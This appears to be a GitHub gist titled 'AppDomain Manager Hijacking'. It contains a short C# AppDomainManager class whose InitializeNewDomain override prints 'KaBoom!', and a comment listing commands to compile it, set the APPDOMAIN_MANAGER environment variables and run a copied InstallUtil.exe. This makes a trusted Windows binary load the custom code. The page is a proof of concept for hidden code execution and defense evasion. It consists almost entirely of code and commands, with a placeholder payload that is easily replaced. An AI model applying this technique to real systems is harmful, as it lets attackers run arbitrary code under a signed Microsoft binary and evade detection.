Skip to content

Instantly share code, notes, and snippets.

@djhohnstein
Created May 30, 2019 17:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save djhohnstein/51f141bf4f57b0f035d8816f32f3a343 to your computer and use it in GitHub Desktop.
Save djhohnstein/51f141bf4f57b0f035d8816f32f3a343 to your computer and use it in GitHub Desktop.
AppDomain Manager Hijacking
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
Console.WriteLine("KaBoom!");
return;
}
}
/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library MyAppDomainManager.cs
set APPDOMAIN_MANAGER_ASM=MyAppDomainManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
InstallUtil.exe
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment